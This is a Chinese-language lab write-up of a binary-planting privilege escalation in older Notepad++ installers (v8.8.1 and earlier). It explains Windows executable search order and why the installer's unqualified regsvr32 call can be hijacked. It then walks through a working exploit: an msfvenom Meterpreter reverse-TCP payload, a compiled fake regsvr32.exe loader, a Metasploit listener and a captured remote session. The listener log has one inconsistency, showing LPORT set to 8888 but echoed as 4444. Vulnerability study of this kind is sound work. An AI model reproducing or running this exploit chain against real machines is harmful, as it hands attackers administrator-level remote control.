通过安装Notepad++ 提升系统权限

On this page
该漏洞源于安装过程对可执行文件搜索路径的非受控处理:本地攻击者可在与安装程序相同目录放置恶意可执行文件,促使安装程序执行该文件并借此获得系统级权限。
利用原理(操作系统解析规则 × 安装器调用方式)
1) Windows 的可执行解析与搜索顺序
当通过 CreateProcess
/ShellExecute
以仅给出文件名(不带路径)的形式启动子进程时,系统按固定顺序搜索:
- ① 载入父进程的目录(通常就是安装包所在目录)
- ② 当前工作目录
- ③
C:\Windows\System32
- ④
C:\Windows\System
- ⑤
C:\Windows
- ⑥
PATH
各目录
因此,若同名二进制出现在①或②中,将抢先于System32
被执行。若命令未写扩展名,还会参考PATHEXT
(.COM/.EXE/.BAT
等),进一步扩大被劫持面。这就是所谓 Binary Planting(可执行种植/路径劫持)。
2) Notepad++ 安装器的具体失当点
公开分析与通告显示:易受影响版本(≤ v8.8.1)的安装器在卸载/注册壳扩展等步骤中,调用系统二进制时未限定绝对路径(示例:regsvr32 ...
),而非明确指向 System32\regsvr32.exe
。当安装器位于用户可写目录时,放置同名可执行即可被优先解析执行,子进程直接继承安装器的高完整性令牌(管理员/SYSTEM),形成本地权限提升。厂商在后续版本修复为使用系统目录下的绝对路径或等效安全策略(≥ v8.8.2)。
3) 信任边界为何被跨越
- 写入权限边界:普通用户可写 Downloads 等目录,但不可写
System32
。 - 执行信任边界:安装器被用户/管理员信任并提权运行。
- 解析时信任传递:父进程以高权限调用“未限定路径”的子进程 → 由解析算法替父进程“选择”了实际可执行。这个“选择”发生在权限已提升之后,因此低权限位置的同名文件可“借壳”获得高权限执行。
- 签名与来源未强制校验:Windows 默认不对所有子进程强制签名/来源验证(除非启用 WDAC/AppLocker 等策略),这让同名未签名程序有可乘之机。
利用过程
VM KALI:192.168.91.130
VM Windows:192.168.91.144
- Meterpreter Shellcode 生成
┌──(root㉿kali)-[/home]
└─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.91.130 LPORT=8888 -f c > shellcode.txt
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of c file: 2175 bytes
//生成一个 Windows x64 Meterpreter 反弹 TCP shellcode,并以 C 语言数组形式保存到 shellcode.txt。
- 下载或创建文件 regsvr32_loader.c(修改 shellcode 部分为你生成的 payload)
┌──(root㉿kali)-[/home]
└─# ls
kali regsvr32_loader.c shellcode.txt
- 编译加载器
┌──(root㉿kali)-[/home]
└─# x86_64-w64-mingw32-gcc regsvr32_loader.c -o regsvr32.exe -mwindows
- 部署 Meterpreter 监听器
msfconsole
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.91.130
LHOST => 192.168.91.130
msf6 exploit(multi/handler) > set LPORT 8888
LPORT => 4444
msf6 exploit(multi/handler) > run
- 下载易受攻击的 Notepad++ 版本
- 部署恶意程序
在目标机器上,将编译好的 regsvr32.exe
放到 Notepad++ 安装程序所在目录。
接着,运行 Notepad++ 安装程序。

此时会发现KALI终端中已经成功连接
[*] Started reverse TCP handler on 192.168.91.130:8888
[*] Sending stage (201798 bytes) to 192.168.91.144
[*] Meterpreter session 1 opened (192.168.91.130:8888 -> 192.168.91.144:49702) at 2025-05-14 18:42:17 +0800
meterpreter > pwd
C:\Program Files\Notepad++\contextMenu

PoC 的关键在于旧版本 Notepad++ 或其他有漏洞的软件,在安装过程中可能会从当前目录加载 DLL 或执行同名可执行文件,进而触发生成的 regsvr32.exe
,自动执行你的 shellcode。
Discussion